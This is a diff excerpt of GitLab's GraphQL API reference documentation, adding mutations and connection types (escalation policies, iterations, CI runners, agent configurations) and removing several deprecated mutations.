+| <a id="mutationescalationpolicydestroyid"></a>`id` | [`IncidentManagementEscalationPolicyID!`](#incidentmanagementescalationpolicyid) | The escalation policy internal ID to remove. |
+
+#### Fields
+
+| Name | Type | Description |
+| ---- | ---- | ----------- |
+| <a id="mutationescalationpolicydestroyclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. |
+| <a id="mutationescalationpolicydestroyerrors"></a>`errors` | [`[String!]!`](#string) | Errors encountered during execution of the mutation. |
+| <a id="mutationescalationpolicydestroyescalationpolicy"></a>`escalationPolicy` | [`EscalationPolicyType`](#escalationpolicytype) | The escalation policy. |
+
+### `Mutation.escalationPolicyUpdate`
+
+Input type: `EscalationPolicyUpdateInput`
+
+#### Arguments
+
+| Name | Type | Description |
+| ---- | ---- | ----------- |
+| <a id="mutationescalationpolicyupdateclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. |
+| <a id="mutationescalationpolicyupdatedescription"></a>`description` | [`String`](#string) | The description of the escalation policy. |
+| <a id="mutationescalationpolicyupdateid"></a>`id` | [`IncidentManagementEscalationPolicyID!`](#incidentmanagementescalationpolicyid) | The ID of the on-call schedule to create the on-call rotation in. |
+| <a id="mutationescalationpolicyupdatename"></a>`name` | [`String`](#string) | The name of the escalation policy. |
+| <a id="mutationescalationpolicyupdaterules"></a>`rules` | [`[EscalationRuleInput!]`](#escalationruleinput) | The steps of the escalation policy. |
+
+#### Fields
+
+| Name | Type | Description |
+| ---- | ---- | ----------- |
+| <a id="mutationescalationpolicyupdateclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. |
+| <a id="mutationescalationpolicyupdateerrors"></a>`errors` | [`[String!]!`](#string) | Errors encountered during execution of the mutation. |
+| <a id="mutationescalationpolicyupdateescalationpolicy"></a>`escalationPolicy` | [`EscalationPolicyType`](#escalationpolicytype) | The escalation policy. |
+
### `Mutation.exportRequirements`
Input type: `ExportRequirementsInput`
@@ -2588,6 +2612,31 @@ Input type: `IterationCadenceUpdateInput`
| <a id="mutationiterationcadenceupdateerrors"></a>`errors` | [`[String!]!`](#string) | Errors encountered during execution of the mutation. |
| <a id="mutationiterationcadenceupdateiterationcadence"></a>`iterationCadence` | [`IterationCadence`](#iterationcadence) | The updated iteration cadence. |
+### `Mutation.iterationCreate`
+
+Input type: `iterationCreateInput`
+
+#### Arguments
+
+| Name | Type | Description |
+| ---- | ---- | ----------- |
+| <a id="mutationiterationcreateclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. |
+| <a id="mutationiterationcreatedescription"></a>`description` | [`String`](#string) | The description of the iteration. |
+| <a id="mutationiterationcreateduedate"></a>`dueDate` | [`String`](#string) | The end date of the iteration. |
+| <a id="mutationiterationcreategrouppath"></a>`groupPath` | [`ID`](#id) | Full path of the group with which the resource is associated. |
+| <a id="mutationiterationcreateiterationscadenceid"></a>`iterationsCadenceId` | [`IterationsCadenceID`](#iterationscadenceid) | Global ID of the iterations cadence to be assigned to newly created iteration. |
+| <a id="mutationiterationcreateprojectpath"></a>`projectPath` | [`ID`](#id) | Full path of the project with which the resource is associated. |
+| <a id="mutationiterationcreatestartdate"></a>`startDate` | [`String`](#string) | The start date of the iteration. |
+| <a id="mutationiterationcreatetitle"></a>`title` | [`String`](#string) | The title of the iteration. |
+
+#### Fields
+
+| Name | Type | Description |
+| ---- | ---- | ----------- |
+| <a id="mutationiterationcreateclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. |
+| <a id="mutationiterationcreateerrors"></a>`errors` | [`[String!]!`](#string) | Errors encountered during execution of the mutation. |
+| <a id="mutationiterationcreateiteration"></a>`iteration` | [`Iteration`](#iteration) | The created iteration. |
+
### `Mutation.iterationDelete`
Input type: `IterationDeleteInput`
@@ -2700,7 +2749,6 @@ Input type: `LabelCreateInput`
| <a id="mutationlabelcreatedescription"></a>`description` | [`String`](#string) | Description of the label. |
| <a id="mutationlabelcreategrouppath"></a>`groupPath` | [`ID`](#id) | Full path of the group with which the resource is associated. |
| <a id="mutationlabelcreateprojectpath"></a>`projectPath` | [`ID`](#id) | Full path of the project with which the resource is associated. |
-| <a id="mutationlabelcreateremoveonclose"></a>`removeOnClose` | [`Boolean`](#boolean) | Whether the label should be removed from an issue when the issue is closed. |
| <a id="mutationlabelcreatetitle"></a>`title` | [`String!`](#string) | Title of the label. |
#### Fields
@@ -3414,30 +3462,6 @@ Input type: `ReleaseUpdateInput`
| <a id="mutationreleaseupdateerrors"></a>`errors` | [`[String!]!`](#string) | Errors encountered during execution of the mutation. |
| <a id="mutationreleaseupdaterelease"></a>`release` | [`Release`](#release) | The release after mutation. |
-### `Mutation.removeAwardEmoji`
-
-WARNING:
-**Deprecated** in 13.2.
-Use awardEmojiRemove.
-
-Input type: `RemoveAwardEmojiInput`
-
-#### Arguments
-
-| Name | Type | Description |
-| ---- | ---- | ----------- |
-| <a id="mutationremoveawardemojiawardableid"></a>`awardableId` | [`AwardableID!`](#awardableid) | The global ID of the awardable resource. |
-| <a id="mutationremoveawardemojiclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. |
-| <a id="mutationremoveawardemojiname"></a>`name` | [`String!`](#string) | The emoji name. |
-
-#### Fields
-
-| Name | Type | Description |
-| ---- | ---- | ----------- |
-| <a id="mutationremoveawardemojiawardemoji"></a>`awardEmoji` | [`AwardEmoji`](#awardemoji) | The award emoji after mutation. |
-| <a id="mutationremoveawardemojiclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. |
-| <a id="mutationremoveawardemojierrors"></a>`errors` | [`[String!]!`](#string) | Errors encountered during execution of the mutation. |
-
### `Mutation.removeProjectFromSecurityDashboard`
Input type: `RemoveProjectFromSecurityDashboardInput`
@@ -3478,54 +3502,75 @@ Input type: `RepositionImageDiffNoteInput`
| <a id="mutationrepositionimagediffnoteerrors"></a>`errors` | [`[String!]!`](#string) | Errors encountered during execution of the mutation. |
| <a id="mutationrepositionimagediffnotenote"></a>`note` | [`Note`](#note) | The note after mutation. |
-### `Mutation.revertVulnerabilityToDetected`
+### `Mutation.runnerDelete`
-WARNING:
-**Deprecated** in 13.5.
-Use vulnerabilityRevertToDetected.
+Available only when feature flag `runner_graphql_query` is enabled.
-Input type: `RevertVulnerabilityToDetectedInput`
+Input type: `RunnerDeleteInput`
#### Arguments
| Name | Type | Description |
| ---- | ---- | ----------- |
-| <a id="mutationrevertvulnerabilitytodetectedclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. |
-| <a id="mutationrevertvulnerabilitytodetectedid"></a>`id` | [`VulnerabilityID!`](#vulnerabilityid) | ID of the vulnerability to be reverted. |
+| <a id="mutationrunnerdeleteclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. |
+| <a id="mutationrunnerdeleteid"></a>`id` | [`CiRunnerID!`](#cirunnerid) | ID of the runner to delete. |
#### Fields
| Name | Type | Description |
| ---- | ---- | ----------- |
-| <a id="mutationrevertvulnerabilitytodetectedclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. |
-| <a id="mutationrevertvulnerabilitytodetectederrors"></a>`errors` | [`[String!]!`](#string) | Errors encountered during execution of the mutation. |
-| <a id="mutationrevertvulnerabilitytodetectedvulnerability"></a>`vulnerability` | [`Vulnerability`](#vulnerability) | The vulnerability after revert. |
+| <a id="mutationrunnerdeleteclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. |
+| <a id="mutationrunnerdeleteerrors"></a>`errors` | [`[String!]!`](#string) | Errors encountered during execution of the mutation. |
-### `Mutation.runDastScan`
+### `Mutation.runnerUpdate`
-WARNING:
-**Deprecated** in 13.4.
-Use DastOnDemandScanCreate.
+Available only when feature flag `runner_graphql_query` is enabled.
-Input type: `RunDASTScanInput`
+Input type: `RunnerUpdateInput`
#### Arguments
| Name | Type | Description |
| ---- | ---- | ----------- |
-| <a id="mutationrundastscanbranch"></a>`branch` | [`String!`](#string) | The branch to be associated with the scan. |
-| <a id="mutationrundastscanclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. |
-| <a id="mutationrundastscanprojectpath"></a>`projectPath` | [`ID!`](#id) | The project the DAST scan belongs to. |
-| <a id="mutationrundastscanscantype"></a>`scanType` | [`DastScanTypeEnum!`](#dastscantypeenum) | The type of scan to be run. |
-| <a id="mutationrundastscantargeturl"></a>`targetUrl` | [`String!`](#string) | The URL of the target to be scanned. |
+| <a id="mutationrunnerupdateaccesslevel"></a>`accessLevel` | [`CiRunnerAccessLevel`](#cirunneraccesslevel) | Access level of the runner. |
+| <a id="mutationrunnerupdateactive"></a>`active` | [`Boolean`](#boolean) | Indicates the runner is allowed to receive jobs. |
+| <a id="mutationrunnerupdateclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. |
+| <a id="mutationrunnerupdatedescription"></a>`description` | [`String`](#string) | Description of the runner. |
+| <a id="mutationrunnerupdateid"></a>`id` | [`CiRunnerID!`](#cirunnerid) | ID of the runner to update. |
+| <a id="mutationrunnerupdatelocked"></a>`locked` | [`Boolean`](#boolean) | Indicates the runner is locked. |
+| <a id="mutationrunnerupdatemaximumtimeout"></a>`maximumTimeout` | [`Int`](#int) | Maximum timeout (in seconds) for jobs processed by the runner. |
+| <a id="mutationrunnerupdaterununtagged"></a>`runUntagged` | [`Boolean`](#boolean) | Indicates the runner is able to run untagged jobs. |
+| <a id="mutationrunnerupdatetaglist"></a>`tagList` | [`[String!]`](#string) | Tags associated with the runner. |
#### Fields
| Name | Type | Description |
| ---- | ---- | ----------- |
-| <a id="mutationrundastscanclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. |
-| <a id="mutationrundastscanerrors"></a>`errors` | [`[String!]!`](#string) | Errors encountered during execution of the mutation. |
-| <a id="mutationrundastscanpipelineurl"></a>`pipelineUrl` | [`String`](#string) | URL of the pipeline that was created. |
+| <a id="mutationrunnerupdateclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. |
+| <a id="mutationrunnerupdateerrors"></a>`errors` | [`[String!]!`](#string) | Errors encountered during execution of the mutation. |
+| <a id="mutationrunnerupdaterunner"></a>`runner` | [`CiRunner`](#cirunner) | The runner after mutation. |
+
+### `Mutation.runnersRegistrationTokenReset`
+
+Available only when feature flag `runner_graphql_query` is enabled.
+
+Input type: `RunnersRegistrationTokenResetInput`
+
+#### Arguments
+
+| Name | Type | Description |
+| ---- | ---- | ----------- |
+| <a id="mutationrunnersregistrationtokenresetclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. |
+| <a id="mutationrunnersregistrationtokenresetid"></a>`id` | [`ID`](#id) | ID of the project or group to reset the token for. Omit if resetting instance runner token. |
+| <a id="mutationrunnersregistrationtokenresettype"></a>`type` | [`CiRunnerType!`](#cirunnertype) | Scope of the object to reset the token for. |
+
+#### Fields
+
+| Name | Type | Description |
+| ---- | ---- | ----------- |
+| <a id="mutationrunnersregistrationtokenresetclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. |
+| <a id="mutationrunnersregistrationtokenreseterrors"></a>`errors` | [`[String!]!`](#string) | Errors encountered during execution of the mutation. |
+| <a id="mutationrunnersregistrationtokenresettoken"></a>`token` | [`String`](#string) | The runner token after mutation. |
### `Mutation.terraformStateDelete`
@@ -3656,7 +3701,6 @@ Input type: `TodoRestoreManyInput`
| <a id="mutationtodorestoremanyclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. |
| <a id="mutationtodorestoremanyerrors"></a>`errors` | [`[String!]!`](#string) | Errors encountered during execution of the mutation. |
| <a id="mutationtodorestoremanytodos"></a>`todos` | [`[Todo!]!`](#todo) | Updated to-do items. |
-| <a id="mutationtodorestoremanyupdatedids"></a>`updatedIds` **{warning-solid}** | [`[TodoID!]!`](#todoid) | **Deprecated:** Use to-do items. Deprecated in 13.2. |
### `Mutation.todosMarkAllDone`
@@ -3675,32 +3719,6 @@ Input type: `TodosMarkAllDoneInput`
| <a id="mutationtodosmarkalldoneclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. |
| <a id="mutationtodosmarkalldoneerrors"></a>`errors` | [`[String!]!`](#string) | Errors encountered during execution of the mutation. |
| <a id="mutationtodosmarkalldonetodos"></a>`todos` | [`[Todo!]!`](#todo) | Updated to-do items. |
-| <a id="mutationtodosmarkalldoneupdatedids"></a>`updatedIds` **{warning-solid}** | [`[TodoID!]!`](#todoid) | **Deprecated:** Use to-do items. Deprecated in 13.2. |
-
-### `Mutation.toggleAwardEmoji`
-
-WARNING:
-**Deprecated** in 13.2.
-Use awardEmojiToggle.
-
-Input type: `ToggleAwardEmojiInput`
-
-#### Arguments
-
-| Name | Type | Description |
-| ---- | ---- | ----------- |
-| <a id="mutationtoggleawardemojiawardableid"></a>`awardableId` | [`AwardableID!`](#awardableid) | The global ID of the awardable resource. |
-| <a id="mutationtoggleawardemojiclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. |
-| <a id="mutationtoggleawardemojiname"></a>`name` | [`String!`](#string) | The emoji name. |
-
-#### Fields
-
-| Name | Type | Description |
-| ---- | ---- | ----------- |
-| <a id="mutationtoggleawardemojiawardemoji"></a>`awardEmoji` | [`AwardEmoji`](#awardemoji) | The award emoji after mutation. |
-| <a id="mutationtoggleawardemojiclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. |
-| <a id="mutationtoggleawardemojierrors"></a>`errors` | [`[String!]!`](#string) | Errors encountered during execution of the mutation. |
-| <a id="mutationtoggleawardemojitoggledon"></a>`toggledOn` | [`Boolean!`](#boolean) | Indicates the status of the emoji. True if the toggle awarded the emoji, and false if the toggle removed the emoji. |
### `Mutation.updateAlertStatus`
@@ -4251,6 +4269,29 @@ Some of the types in the schema exist solely to model connections. Each connecti
has a distinct, named type, with a distinct named edge type. These are listed separately
below.
+#### `AgentConfigurationConnection`
+
+The connection type for [`AgentConfiguration`](#agentconfiguration).
+
+##### Fields
+
+| Name | Type | Description |
+| ---- | ---- | ----------- |
+| <a id="agentconfigurationconnectionedges"></a>`edges` | [`[AgentConfigurationEdge]`](#agentconfigurationedge) | A list of edges. |
+| <a id="agentconfigurationconnectionnodes"></a>`nodes` | [`[AgentConfiguration]`](#agentconfiguration) | A list of nodes. |
+| <a id="agentconfigurationconnectionpageinfo"></a>`pageInfo` | [`PageInfo!`](#pageinfo) | Information to aid in pagination. |
+
+#### `AgentConfigurationEdge`
+
+The edge type for [`AgentConfiguration`](#agentconfiguration).
+
+##### Fields
+
+| Name | Type | Description |
+| ---- | ---- | ----------- |
+| <a id="agentconfigurationedgecursor"></a>`cursor` | [`String!`](#string) | A cursor for use in pagination. |
+| <a id="agentconfigurationedgenode"></a>`node` | [`AgentConfiguration`](#agentconfiguration) | The item at the end of the edge. |
+
#### `AlertManagementAlertConnection`
The connection type for [`AlertManagementAlert`](#alertmanagementalert).
@@ -5037,28 +5078,51 @@ The edge type for [`DesignVersion`](#designversion).
| <a id="designversionedgecursor"></a>`cursor` | [`String!`](#string) | A cursor for use in pagination. |
| <a id="designversionedgenode"></a>`node` | [`DesignVersion`](#designversion) | The item at the end of the edge. |
-#### `DevopsAdoptionSegmentConnection`
+#### `DevopsAdoptionEnabledNamespaceConnection`
-The connection type for [`DevopsAdoptionSegment`](#devopsadoptionsegment).
+The connection type for [`DevopsAdoptionEnabledNamespace`](#devopsadoptionenablednamespace).
##### Fields
| Name | Type | Description |
| ---- | ---- | ----------- |
-| <a id="devopsadoptionsegmentconnectionedges"></a>`edges` | [`[DevopsAdoptionSegmentEdge]`](#devopsadoptionsegmentedge) | A list of edges. |
-| <a id="devopsadoptionsegmentconnectionnodes"></a>`nodes` | [`[DevopsAdoptionSegment]`](#devopsadoptionsegment) | A list of nodes. |
-| <a id="devopsadoptionsegmentconnectionpageinfo"></a>`pageInfo` | [`PageInfo!`](#pageinfo) | Information to aid in pagination. |
+| <a id="devopsadoptionenablednamespaceconnectionedges"></a>`edges` | [`[DevopsAdoptionEnabledNamespaceEdge]`](#devopsadoptionenablednamespaceedge) | A list of edges. |
+| <a id="devopsadoptionenablednamespaceconnectionnodes"></a>`nodes` | [`[DevopsAdoptionEnabledNamespace]`](#devopsadoptionenablednamespace) | A list of nodes. |
+| <a id="devopsadoptionenablednamespaceconnectionpageinfo"></a>`pageInfo` | [`PageInfo!`](#pageinfo) | Information to aid in pagination. |
-#### `DevopsAdoptionSegmentEdge`
+#### `DevopsAdoptionEnabledNamespaceEdge`
-The edge type for [`DevopsAdoptionSegment`](#devopsadoptionsegment).
+The edge type for [`DevopsAdoptionEnabledNamespace`](#devopsadoptionenablednamespace).
##### Fields
| Name | Type | Description |
| ---- | ---- | ----------- |
-| <a id="devopsadoptionsegmentedgecursor"></a>`cursor` | [`String!`](#string) | A cursor for use in pagination. |
-| <a id="devopsadoptionsegmentedgenode"></a>`node` | [`DevopsAdoptionSegment`](#devopsadoptionsegment) | The item at the end of the edge. |
+| <a id="devopsadoptionenablednamespaceedgecursor"></a>`cursor` | [`String!`](#string) | A cursor for use in pagination. |
+| <a id="devopsadoptionenablednamespaceedgenode"></a>`node` | [`DevopsAdoptionEnabledNamespace`](#devopsadoptionenablednamespace) | The item at the end of the edge. |
+
+#### `DevopsAdoptionSnapshotConnection`
+
+The connection type for [`DevopsAdoptionSnapshot`](#devopsadoptionsnapshot).
+
+##### Fields
+
+| Name | Type | Description |
+| ---- | ---- | ----------- |
+| <a id="devopsadoptionsnapshotconnectionedges"></a>`edges` | [`[DevopsAdoptionSnapshotEdge]`](#devopsadoptionsnapshotedge) | A list of edges. |
+| <a id="devopsadoptionsnapshotconnectionnodes"></a>`nodes` | [`[DevopsAdoptionSnapshot]`](#devopsadoptionsnapshot) | A list of nodes. |
+| <a id="devopsadoptionsnapshotconnectionpageinfo"></a>`pageInfo` | [`PageInfo!`](#pageinfo) | Information to aid in pagination. |
+
+#### `DevopsAdoptionSnapshotEdge`
+
+The edge type for [`DevopsAdoptionSnapshot`](#devopsadoptionsnapshot).
+
+##### Fields
+
+| Name | Type | Description |
+| ---- | ---- | ----------- |
+| <a id="devopsadoptionsnapshotedgecursor"></a>`cursor` | [`String!`](#string) | A cursor for use in pagination. |
+| <a id="devopsadoptionsnapshotedgenode"></a>`node` | [`DevopsAdoptionSnapshot`](#devopsadoptionsnapshot) | The item at the end of the edge. |
#### `DiscussionConnection`
@@ -5200,6 +5264,29 @@ The edge type for [`EpicList`](#epiclist).
| <a id="epiclistedgecursor"></a>`cursor` | [`String!`](#string) | A cursor for use in pagination. |
| <a id="epiclistedgenode"></a>`node` | [`EpicList`](#epiclist) | The item at the end of the edge. |
+#### `EscalationPolicyTypeConnection`
+
+The connection type for [`EscalationPolicyType`](#escalationpolicytype).
+
+##### Fields
+
+| Name | Type | Description |
+| ---- | ---- | ----------- |
+| <a id="escalationpolicytypeconnectionedges"></a>`edges` | [`[EscalationPolicyTypeEdge]`](#escalationpolicytypeedge) | A list of edges. |
+| <a id="escalationpolicytypeconnectionnodes"></a>`nodes` | [`[EscalationPolicyType]`](#escalationpolicytype) | A list of nodes. |
+| <a id="escalationpolicytypeconnectionpageinfo"></a>`pageInfo` | [`PageInfo!`](#pageinfo) | Information to aid in pagination. |
+
+#### `EscalationPolicyTypeEdge`
+
+The edge type for [`EscalationPolicyType`](#escalationpolicytype).
+
+##### Fields
+
+| Name | Type | Description |
+| ---- | ---- | ----------- |
+| <a id="escalationpolicytypeedgecursor"></a>`cursor` | [`String!`](#string) | A cursor for use in pagination. |
+| <a id="escalationpolicytypeedgenode"></a>`node` | [`EscalationPolicyType`](#escalationpolicytype) | The item at the end of the edge. |
+
#### `EventConnection`
The connection type for [`Event`](#event).
@@ -5711,6 +5798,29 @@ The edge type for [`Namespace`](#namespace).
| <a id="namespaceedgecursor"></a>`cursor` | [`String!`](#string) | A cursor for use in pagination. |
| <a id="namespaceedgenode"></a>`node` | [`Namespace`](#namespace) | The item at the end of the edge. |
+#### `NetworkPolicyConnection`
+
+The connection type for [`NetworkPolicy`](#networkpolicy).
+
+##### Fields
+
+| Name | Type | Description |
+| ---- | ---- | ----------- |
+| <a id="networkpolicyconnectionedges"></a>`edges` | [`[NetworkPolicyEdge]`](#networkpolicyedge) | A list of edges. |
+| <a id="networkpolicyconnectionnodes"></a>`nodes` | [`[NetworkPolicy]`](#networkpolicy) | A list of nodes. |
+| <a id="networkpolicyconnectionpageinfo"></a>`pageInfo` | [`PageInfo!`](#pageinfo) | Information to aid in pagination. |
+
+#### `NetworkPolicyEdge`
+
+The edge type for [`NetworkPolicy`](#networkpolicy).
+
+##### Fields
+
+| Name | Type | Description |
+| ---- | ---- | ----------- |
+| <a id="networkpolicyedgecursor"></a>`cursor` | [`String!`](#string) | A cursor for use in pagination. |
+| <a id="networkpolicyedgenode"></a>`node` | [`NetworkPolicy`](#networkpolicy) | The item at the end of the edge. |
+
#### `NoteConnection`
The connection type for [`Note`](#note).
@@ -6265,6 +6375,29 @@ The edge type for [`Scan`](#scan).
| <a id="scanedgecursor"></a>`cursor` | [`String!`](#string) | A cursor for use in pagination. |
| <a id="scanedgenode"></a>`node` | [`Scan`](#scan) | The item at the end of the edge. |
+#### `ScanExecutionPolicyConnection`
+
+The connection type for [`ScanExecutionPolicy`](#scanexecutionpolicy).
+
+##### Fields
+
+| Name | Type | Description |
+| ---- | ---- | ----------- |
+| <a id="scanexecutionpolicyconnectionedges"></a>`edges` | [`[ScanExecutionPolicyEdge]`](#scanexecutionpolicyedge) | A list of edges. |
+| <a id="scanexecutionpolicyconnectionnodes"></a>`nodes` | [`[ScanExecutionPolicy]`](#scanexecutionpolicy) | A list of nodes. |
+| <a id="scanexecutionpolicyconnectionpageinfo"></a>`pageInfo` | [`PageInfo!`](#pageinfo) | Information to aid in pagination. |
+
+#### `ScanExecutionPolicyEdge`
+
+The edge type for [`ScanExecutionPolicy`](#scanexecutionpolicy).
+
+##### Fields
+
+| Name | Type | Description |
+| ---- | ---- | ----------- |
+| <a id="scanexecutionpolicyedgecursor"></a>`cursor` | [`String!`](#string) | A cursor for use in pagination. |
+| <a id="scanexecutionpolicyedgenode"></a>`node` | [`ScanExecutionPolicy`](#scanexecutionpolicy) | The item at the end of the edge. |
+
#### `ScannedResourceConnection`
The connection type for [`ScannedResource`](#scannedresource).
@@ -6682,29 +6815,6 @@ The edge type for [`UserCore`](#usercore).
| <a id="usercoreedgecursor"></a>`cursor` | [`String!`](#string) | A cursor for use in pagination. |
| <a id="usercoreedgenode"></a>`node` | [`UserCore`](#usercore) | The item at the end of the edge. |
-#### `VulnerabilitiesCountByDayAndSeverityConnection`
-
-The connection type for [`VulnerabilitiesCountByDayAndSeverity`](#vulnerabilitiescountbydayandseverity).
-
-##### Fields
-
-| Name | Type | Description |
-| ---- | ---- | ----------- |
-| <a id="vulnerabilitiescountbydayandseverityconnectionedges"></a>`edges` | [`[VulnerabilitiesCountByDayAndSeverityEdge]`](#vulnerabilitiescountbydayandseverityedge) | A list of edges. |
-| <a id="vulnerabilitiescountbydayandseverityconnectionnodes"></a>`nodes` | [`[VulnerabilitiesCountByDayAndSeverity]`](#vulnerabilitiescountbydayandseverity) | A list of nodes. |
-| <a id="vulnerabilitiescountbydayandseverityconnectionpageinfo"></a>`pageInfo` | [`PageInfo!`](#pageinfo) | Information to aid in pagination. |
-
-#### `VulnerabilitiesCountByDayAndSeverityEdge`
-
-The edge type for [`VulnerabilitiesCountByDayAndSeverity`](#vulnerabilitiescountbydayandseverity).
-
-##### Fields
-
-| Name | Type | Description |
-| ---- | ---- | ----------- |
-| <a id="vulnerabilitiescountbydayandseverityedgecursor"></a>`cursor` | [`String!`](#string) | A cursor for use in pagination. |
-| <a id="vulnerabilitiescountbydayandseverityedgenode"></a>`node` | [`VulnerabilitiesCountByDayAndSeverity`](#vulnerabilitiescountbydayandseverity) | The item at the end of the edge. |
-
#### `VulnerabilitiesCountByDayConnection`
The connection type for [`VulnerabilitiesCountByDay`](#vulnerabilitiescountbyday).
@@ -6844,6 +6954,16 @@ Represents the access level of a relationship between a User and object that it
| <a id="accesslevelintegervalue"></a>`integerValue` | [`Int`](#int) | Integer representation of access level. |
| <a id="accesslevelstringvalue"></a>`stringValue` | [`AccessLevelEnum`](#accesslevelenum) | String representation of access level. |
+### `AgentConfiguration`
+
+Configuration details for an Agent.
+
+#### Fields
+
+| Name | Type | Description |
+| ---- | ---- | ----------- |
+| <a id="agentconfigurationagentname"></a>`agentName` | [`String`](#string) | Name of the agent. |
+
### `AlertManagementAlert`
Describes an alert from the project's Alert Management.
@@ -7181,6 +7301,38 @@ Represents an epic on an issue board.
#### Fields with arguments
+##### `BoardEpic.ancestors`
+
+Ancestors (parents) of the epic.
+
+Returns [`EpicConnection`](#epicconnection).
+
+This field returns a [connection](#connections). It accepts the
+four standard [pagination arguments](#connection-pagination-arguments):
+`before: String`, `after: String`, `first: Int`, `last: Int`.
+
+###### Arguments
+
+| Name | Type | Description |
+| ---- | ---- | ----------- |
+| <a id="boardepicancestorsauthorusername"></a>`authorUsername` | [`String`](#string) | Filter epics by author. |
+| <a id="boardepicancestorsconfidential"></a>`confidential` | [`Boolean`](#boolean) | Filter epics by given confidentiality. |
+| <a id="boardepicancestorsenddate"></a>`endDate` **{warning-solid}** | [`Time`](#time) | **Deprecated** in 13.5. Use timeframe.end. |
+| <a id="boardepicancestorsiid"></a>`iid` | [`ID`](#id) | IID of the epic, e.g., "1". |
+| <a id="boardepicancestorsiidstartswith"></a>`iidStartsWith` | [`String`](#string) | Filter epics by IID for autocomplete. |
+| <a id="boardepicancestorsiids"></a>`iids` | [`[ID!]`](#id) | List of IIDs of epics, e.g., [1, 2]. |
+| <a id="boardepicancestorsincludeancestorgroups"></a>`includeAncestorGroups` | [`Boolean`](#boolean) | Include epics from ancestor groups. |
+| <a id="boardepicancestorsincludedescendantgroups"></a>`includeDescendantGroups` | [`Boolean`](#boolean) | Include epics from descendant groups. |
+| <a id="boardepicancestorslabelname"></a>`labelName` | [`[String!]`](#string) | Filter epics by labels. |
+| <a id="boardepicancestorsmilestonetitle"></a>`milestoneTitle` | [`String`](#string) | Filter epics by milestone title, computed from epic's issues. |
+| <a id="boardepicancestorsmyreactionemoji"></a>`myReactionEmoji` | [`String`](#string) | Filter by reaction emoji applied by the current user. |
+| <a id="boardepicancestorsnot"></a>`not` | [`NegatedEpicFilterInput`](#negatedepicfilterinput) | Negated epic arguments. |
+| <a id="boardepicancestorssearch"></a>`search` | [`String`](#string) | Search query for epic title or description. |
+| <a id="boardepicancestorssort"></a>`sort` | [`EpicSort`](#epicsort) | List epics by sort order. |
+| <a id="boardepicancestorsstartdate"></a>`startDate` **{warning-solid}** | [`Time`](#time) | **Deprecated** in 13.5. Use timeframe.start. |
+| <a id="boardepicancestorsstate"></a>`state` | [`EpicState`](#epicstate) | Filter epics by state. |
+| <a id="boardepicancestorstimeframe"></a>`timeframe` | [`Timeframe`](#timeframe) | List items overlapping the given timeframe. |
+
##### `BoardEpic.children`
Children (sub-epics) of the epic.
@@ -7201,10 +7353,12 @@ four standard [pagination arguments](#connection-pagination-arguments):
| <a id="boardepicchildreniid"></a>`iid` | [`ID`](#id) | IID of the epic, e.g., "1". |
| <a id="boardepicchildreniidstartswith"></a>`iidStartsWith` | [`String`](#string) | Filter epics by IID for autocomplete. |
| <a id="boardepicchildreniids"></a>`iids` | [`[ID!]`](#id) | List of IIDs of epics, e.g., [1, 2]. |
+| <a id="boardepicchildrenincludeancestorgroups"></a>`includeAncestorGroups` | [`Boolean`](#boolean) | Include epics from ancestor groups. |
| <a id="boardepicchildrenincludedescendantgroups"></a>`includeDescendantGroups` | [`Boolean`](#boolean) | Include epics from descendant groups. |
| <a id="boardepicchildrenlabelname"></a>`labelName` | [`[String!]`](#string) | Filter epics by labels. |
| <a id="boardepicchildrenmilestonetitle"></a>`milestoneTitle` | [`String`](#string) | Filter epics by milestone title, computed from epic's issues. |
| <a id="boardepicchildrenmyreactionemoji"></a>`myReactionEmoji` | [`String`](#string) | Filter by reaction emoji applied by the current user. |
+| <a id="boardepicchildrennot"></a>`not` | [`NegatedEpicFilterInput`](#negatedepicfilterinput) | Negated epic arguments. |
| <a id="boardepicchildrensearch"></a>`search` | [`String`](#string) | Search query for epic title or description. |
| <a id="boardepicchildrensort"></a>`sort` | [`EpicSort`](#epicsort) | List epics by sort order. |
| <a id="boardepicchildrenstartdate"></a>`startDate` **{warning-solid}** | [`Time`](#time) | **Deprecated** in 13.5. Use timeframe.start. |
@@ -7468,6 +7622,8 @@ Represents the total number of issues and their weights for a particular day.
| <a id="cirunneripaddress"></a>`ipAddress` | [`String!`](#string) | IP address of the runner. |
| <a id="cirunnerlocked"></a>`locked` | [`Boolean`](#boolean) | Indicates the runner is locked. |
| <a id="cirunnermaximumtimeout"></a>`maximumTimeout` | [`Int`](#int) | Maximum timeout (in seconds) for jobs processed by the runner. |
+| <a id="cirunnerprivateprojectsminutescostfactor"></a>`privateProjectsMinutesCostFactor` | [`Float`](#float) | Private projects' "minutes cost factor" associated with the runner (GitLab.com only). |
+| <a id="cirunnerpublicprojectsminutescostfactor"></a>`publicProjectsMinutesCostFactor` | [`Float`](#float) | Public projects' "minutes cost factor" associated with the runner (GitLab.com only). |
| <a id="cirunnerrevision"></a>`revision` | [`String!`](#string) | Revision of the runner. |
